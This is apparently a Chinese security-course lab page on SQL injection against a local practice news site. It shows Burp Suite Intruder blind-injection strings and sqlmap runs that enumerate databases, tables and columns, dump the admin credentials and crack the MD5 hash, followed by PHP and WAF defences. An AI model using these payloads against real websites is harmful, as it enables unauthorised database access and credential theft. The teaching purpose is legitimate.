1 Burp Suite 辅助手工注入
1.1 问题
本例要求学会使用 Burp Suite 辅助手工注入过程,相关说明如下:
1)部署安装 Burp Suite
2)猜解数据库长度
3)猜解数据库名称
4)猜解表名
5)猜解字段名
6)猜解数据
1.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:部署安装 Burp Suite
1)安装和配置 java 环境
按默认安装 jdk-8u202-windows-i586,如图 - 1 所示。
图 - 1
2)按下面配置 Windows 系统环境变量,如图 - 2 所示。
JAVA_HOME C:\Program Files (x86)\Java\jre1.8.0_202
classpath %JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
path ;%JAVA_HOME%\bin
图 - 2
3)激活并运行 Burp Suite,如图 - 3 所示。
图 - 3
4)在 Firefox 浏览器上安装 FoxyProxy 组件,配置 Firefox 代理服务器,如图 - 4 所示。
图 - 4
启用 FoxyProxy 代理服务器后,访问 news 靶场,如图 - 5 所示。
图 - 5
此时 Burp Suite 默认拦截,如图 - 6 所示,说明部署安装 Burp Suite 成功。
图 - 6
步骤二:猜解数据库长度
1)暂时停止 Burp Suite 代理拦截,使用浏览器访问新闻页面,并进行普通 SQL 注入猜解数据库长度,如图 - 7 所示。
1. http:
2. ?id=55 and length(database())=n
图 - 7
2)启用 Burp Suite 代理拦截功能,再进行注入操作,可以看到拦截的信息,如图 - 8 所示。
图 - 8
3)使用 Intruder 模块,在 “positions” 选项卡中设置 “n” 为变量,如图 - 9 所示。
图 - 9
在 “payloads” 选项卡中设置 “n” 的取值范围是 1~20,如图 - 10 所示,最后单击 “Start attack” 开始攻击。
图 - 10
在弹出的 “Intruder attack” 对话框中,观察 “Length” 列数据,得知数据库长度是“4”,如图 - 11 所示。
图 - 11
步骤三:猜解数据库名称
1)使用 Burp Suite 代理拦截猜解数据库名称语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 12 所示。
1. http:
2. ?id=55 and ord(substr(database(),m,1))=n
图 - 12
2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~4,“n”的取值范围是 32~126,如图 - 13 所示,最后单击 “Start attack” 开始攻击。
图 - 13
3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 14 所示。
图 - 14
4)批量解码 ASCII 可以得到数据库名字是 “news”,如图 - 15 所示。
网址:https://www.toolnb.com/tools/asciiTools.html
ASCII 码:110;101;119;115
图 - 15
步骤四:猜解表名
1)使用 Burp Suite 代理拦截猜解表名语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 16 所示。
1. http:
2. ?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n
图 - 16
2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~100,“n”的取值范围是 32~126,在 “Option” 选项卡中设置 “Number of threads” 为 500,如图 - 17 所示,最后单击 “Start attack” 开始攻击。
图 - 17
3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 18 所示。
图 - 18
4)批量解码 ASCII 可以得到 news 数据库中所有表名,如图 - 19 所示。
网址:https://www.toolnb.com/tools/asciiTools.html
ASCII 码:110;101;119;115;95;97;114;116;105;99;108;101;44;110;119;115;95;99;97;116;101;103;111;114;121;44;110;101;119;115;95;102;105;108;101;44;110;101;119;115;95;102;114;105;101;110;100;108;105;110;107;44;110;101;119;115;95;112;97;103;101;44;110;101;119;115;95;110;111;116;105;99;101;44;110;116;101;119;115;95;112;97;103;101;44;110;101;119;115;95;117;115;101;114;115
图 - 19
步骤五:猜解字段名
1)使用 Burp Suite 代理拦截猜解 news_users 字段名语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 20 所示。
1. http:
2. ?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
图 - 20
2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~50,“n”的取值范围是 32~126,如图 - 21 所示,最后单击 “Start attack” 开始攻击。
图 - 21
3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 22 所示。
图 - 22
4)批量解码 ASCII 可以得到 news_users 表中的字段名,如图 - 23 所示。
网址:https://www.toolnb.com/tools/asciiTools.html
ASCII 码:117;115;101;114;105;100;44;117;115;101;114;110;97;109;101;44;112;97;115;115;119;111;114;100
图 - 23
步骤五:猜解数据
1)使用 Burp Suite 代理拦截猜解 username、password,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 24 所示。
1. http:
2. ?id=55 and ord(substr((select group_concat(username,password) from news_users ),m,1))=n
图 - 24
2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~50,“n”的取值范围是 32~126,如图 - 25 所示,最后单击 “Start attack” 开始攻击。
图 - 25
3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 26 所示。
图 - 26
4)批量解码 ASCII 可以得到数据库名字,如图 - 27 所示。
网址:https://www.toolnb.com/tools/asciiTools.html
ASCII 码:97;100;109;105;110;101;49;48;97;100;99;51;57;52;57;98;97;53;57;97;98;98;101;53;54;101;48;53;55;102;50;48;102;56;56;51;101
图 - 27
5)使用 md5 解密 “e10adc3949ba59abbe56e057f20f883e” 得密码“123456”,如图 - 28 所示。
图 - 28
2 使用 sqlmap 自动注入
2.1 问题
本例要求使用 sqlmap 自动注入,相关说明如下:
1)安装 Python 和 sqlmap
2)检测注入点
3)列出所有数据库名
4)列出当前数据库名
5)列出指定数据库中所有表
6)列出指定表中的字段名
7)列出指定字段中的内容
2.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:安装 Python 和 sqlmap
1)按默认安装 Python2.7,如图 - 29 所示。
图 - 29
2)解压安装 sqlmap1.5 到 “D:\sqlmap” 目录,如图 - 30 所示。
注释:此处操作选择解压到 “D:\”时,会自动创建 “sqlmap” 目录。
图 - 30
3)在命令提示符界面,执行 d:\sqlmap\sqlmap.py 命令出现 “SQLMAP” 图标意味安装成功,如图 - 31 所示。
图 - 31
步骤二:检测注入点
使用 - u 选项检测指定页面的是否存在注入点。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
2. ___
3. \_\_H\_\_
4. ___ ___\[,\]_____ ___ __\_ {1.5.3.16#dev}
5. |_ -| . \[,\] | .'| . |
6. |___|_ \['\]_|_|_|__,| _|
7. |_|V... |_| http:
9. \[!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
11. \[*\] starting @ 14:41:07 /2021-03-28/
13. ……
15. sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
16. \-\-\-
17. Parameter: id (GET)
18. Type: boolean-based blind
19. Title: AND boolean-based blind - WHERE or HAVING clause
20. Payload: id=55 AND 3731=3731
22. Type: error-based
23. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
24. Payload: id=55 AND (SELECT 3628 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (ELT(3628=3628,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
26. Type: time-based blind
27. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
28. Payload: id=55 AND (SELECT 7029 FROM (SELECT(SLEEP(5)))cMFF)
30. Type: UNION query
31. Title: Generic UNION query (NULL) - 15 columns
32. Payload: id=-6107 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716a7871,0x705654714972616a574e4377636a6b694a42564a43424e49416f6f577666587a4e41566f6154675a,0x71707a7071),NULL,NULL,NULL,NULL-- -
33. \-\-\-
34. \[14:42:10\] \[INFO\] the back-end DBMS is MySQL
35. web server operating system: Windows
36. web application technology: Apache 2.4.23, PHP 5.2.17
37. back-end DBMS: MySQL >= 5.0
38. \[14:42:10\] \[INFO\] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.60.128'
40. \[*\] ending @ 14:42:10 /2021-03-28/
步骤三:列出所有数据库名
使用 “-dbs” 选项列出所有数据库名称。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
5. \[20:59:14\] \[INFO\] the back-end DBMS is MySQL
6. web server operating system: Windows
7. web application technology: Apache 2.4.23, PHP 5.2.17
8. back-end DBMS: MySQL >= 5.0
9. \[20:59:14\] \[INFO\] fetching database names
10. \[20:59:14\] \[WARNING\] the SQL query provided does not return any output
11. \[20:59:14\] \[INFO\] resumed: 'information_schema'
12. \[20:59:14\] \[INFO\] resumed: 'challenges'
13. \[20:59:14\] \[INFO\] resumed: 'mysql'
14. \[20:59:14\] \[INFO\] resumed: 'news'
15. \[20:59:14\] \[INFO\] resumed: 'performance_schema'
16. \[20:59:14\] \[INFO\] resumed: 'pikachu'
17. \[20:59:14\] \[INFO\] resumed: 'security'
18. \[20:59:14\] \[INFO\] resumed: 'test'
19. available databases \[8\]:
20. \[*\] challenges
21. \[*\] information_schema
22. \[*\] mysql
23. \[*\] news
24. \[*\] performance_schema
25. \[*\] pikachu
26. \[*\] security
27. \[*\] test
步骤四:列出当前数据库名
使用 “—current-db” 选项列出当前数据库名称。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
5. \[19:19:27\] \[INFO\] the back-end DBMS is MySQL
6. web server operating system: Windows
7. web application technology: Apache 2.4.23, PHP 5.2.17
8. back-end DBMS: MySQL >= 5.0
9. \[19:19:27\] \[INFO\] fetching current database
10. \[19:19:27\] \[INFO\] retrieved: 'news'
11. current database: 'news'
12. \[19:19:27\] \[INFO\] fetched data logged to text files under 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128'
14. \[*\] ending @ 19:19:27 /2021-03-28/
步骤五:列出指定数据库中所有表
使用 “-D 数据库名 —tables” 选项列出指定数据库中的所有表。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
4. \[20:57:42\] \[INFO\] the back-end DBMS is MySQL
5. web server operating system: Windows
6. web application technology: Apache 2.4.23, PHP 5.2.17
7. back-end DBMS: MySQL >= 5.0
8. \[20:57:42\] \[INFO\] fetching tables for database: 'news'
9. \[20:57:43\] \[WARNING\] the SQL query provided does not return any output
10. \[20:57:43\] \[INFO\] retrieved: 'news_article'
11. \[20:57:43\] \[INFO\] retrieved: 'news_category'
12. \[20:57:43\] \[INFO\] retrieved: 'news_file'
13. \[20:57:43\] \[INFO\] retrieved: 'news_friendlink'
14. \[20:57:43\] \[INFO\] retrieved: 'news_message'
15. \[20:57:43\] \[INFO\] retrieved: 'news_notice'
16. \[20:57:43\] \[INFO\] retrieved: 'news_page'
17. \[20:57:43\] \[INFO\] retrieved: 'news_users'
18. Database: news
19. \[8 tables\]
20. +-----------------+
21. | news_article |
22. | news_category |
23. | news_file |
24. | news_friendlink |
25. | news_message |
26. | news_notice |
27. | news_page |
28. | news_users |
29. +-----------------+
步骤六:列出指定表中的字段名
使用 “-D 数据库名 -T 表名 —columns” 列出指定表中的字段名。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
5. \[21:16:38\] \[INFO\] the back-end DBMS is MySQL
6. web server operating system: Windows
7. web application technology: Apache 2.4.23, PHP 5.2.17
8. back-end DBMS: MySQL >= 5.0
9. \[21:16:38\] \[INFO\] fetching columns for table 'news_users' in database 'news'
10. \[21:16:38\] \[WARNING\] the SQL query provided does not return any output
11. \[21:16:38\] \[INFO\] retrieved: 'userid'
12. \[21:16:38\] \[INFO\] retrieved: 'int(11)'
13. \[21:16:38\] \[INFO\] retrieved: 'username'
14. \[21:16:38\] \[INFO\] retrieved: 'varchar(20)'
15. \[21:16:38\] \[INFO\] retrieved: 'password'
16. \[21:16:38\] \[INFO\] retrieved: 'varchar(32)'
17. Database: news
18. Table: news_users
19. \[3 columns\]
20. +----------+-------------+
21. | Column | Type |
22. +----------+-------------+
23. | password | varchar(32) |
24. | userid | int(11) |
25. | username | varchar(20) |
26. +----------+-------------+
步骤七:列出指定字段中的内容
使用 “-D 数据库名 -T 表名 -C 字段名 —dump” 列出指定字段中的内容。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
5. \[21:21:03\] \[INFO\] the back-end DBMS is MySQL
6. web server operating system: Windows
7. web application technology: Apache 2.4.23, PHP 5.2.17
8. back-end DBMS: MySQL >= 5.0
9. \[21:21:03\] \[INFO\] fetching entries of column(s) 'password,username' for table 'news_users' in database 'news'
10. \[21:21:03\] \[WARNING\] the SQL query provided does not return any output
11. \[21:21:04\] \[INFO\] retrieved: 'e10adc3949ba59abbe56e057f20f883e'
12. \[21:21:04\] \[INFO\] retrieved: 'admin'
13. \[21:21:04\] \[INFO\] recognized possible password hashes in column 'password'
14. do you want to store hashes to a temporary file for eventual further processing with other tools \[y/N\]
16. do you want to crack them via a dictionary-based attack? \[Y/n/q\]
18. \[21:21:11\] \[INFO\] using hash method 'md5\_generic\_passwd'
19. what dictionary do you want to use?
20. \[1\] default dictionary file 'D:\\sqlmap\\data\\txt\\wordlist.tx_' (press Enter)
21. \[2\] custom dictionary file
22. \[3\] file with list of dictionary files
23. >
25. \[21:21:30\] \[INFO\] using default dictionary
26. do you want to use common password suffixes? (slow!) \[y/N\]
28. \[21:21:31\] \[INFO\] starting dictionary-based cracking (md5\_generic\_passwd)
29. \[21:21:31\] \[INFO\] starting 4 processes
30. \[21:21:34\] \[INFO\] cracked password '123456' for user 'admin'
31. Database: news
32. Table: news_users
33. \[1 entry\]
34. +----------+-------------------------------------------+
35. | username | password |
36. +----------+-------------------------------------------+
37. | admin | e10adc3949ba59abbe56e057f20f883e (123456) |
38. +----------+-------------------------------------------+
40. \[21:21:43\] \[INFO\] table 'news.news_users' dumped to CSV file 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128\\dump\\news\\news_users.csv'
41. \[21:21:43\] \[INFO\] fetched data logged to text files under 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128'
3 SQL 注入防护
3.1 问题
本例要求进行 SQL 注入防护,相关说明如下:
1)使用 intval() 函数进行数字型注入防护
2)使用 addslashes() 函数进行字符型注入防护
3)修改 magic_quotes_gpc=on 参数进行字符型注入防护
4)部署 “网站安全狗” 进行 SQL 注入防护
3.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:使用 intval() 函数进行数字型注入防护
1)修改 D:\phpStudy\WWW\news\include\common.function.php 文件,对获取的数值型数据,进行二次转换。
1. function getArticleInfo($id=0){
2. global $db;
3. if($id==0){
4. if(empty($_GET\['id'\])){
5. return false;
6. }else{
7. $id = intval($_GET\['id'\]);
8. }
9. }
10. return $db->getOneRow("select * from news_article where id=".$id);
11. }
2)进行 SQL 注入,查看效果发现 order by 命令无效,如图 - 32 所示。
图 - 32
步骤二:使用 addslashes() 函数进行字符型注入防护
1)修改 D:\phpStudy\WWW\news\newsAdmin\admin\login.action.php 文件,特殊字符进行转义。
1. if (isset ( $_POST \["username"\] )) {
2. $username = addslashes($_POST \["username"\]);
3. } else {
4. $username = "";
5. }
2)进行 SQL 注入,查看效果发现 “万能密码” 无效,如图 - 33 所示。
图 - 33
步骤三:修改 magic_quotes_gpc=on 参数进行字符型注入防护
1)修改 D:\phpStudy\php\php-5.2.17\php.ini 文件,特殊字符进行转义。
2)重启 phpStudy 服务后,进行 SQL 注入,查看效果,如图 - 34 所示。
图 - 34
步骤四:部署 “网站安全狗” 进行 SQL 注入防护
1)安装 “网站安全狗”,并设置防护等级为 “高级”,如图 - 35 所示。
图 - 35
2)使用 sqlmap 进行 SQL 注入,查看效果。
1. D:\sqlmap>sqlmap.py sqlmap -u http:
3. ……
5. \[00:18:05\] \[WARNING\] parameter 'Referer' does not seem to be injectable
6. \[00:18:05\] \[CRITICAL\] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/INJECTION/DAY03/CASE/01/index.html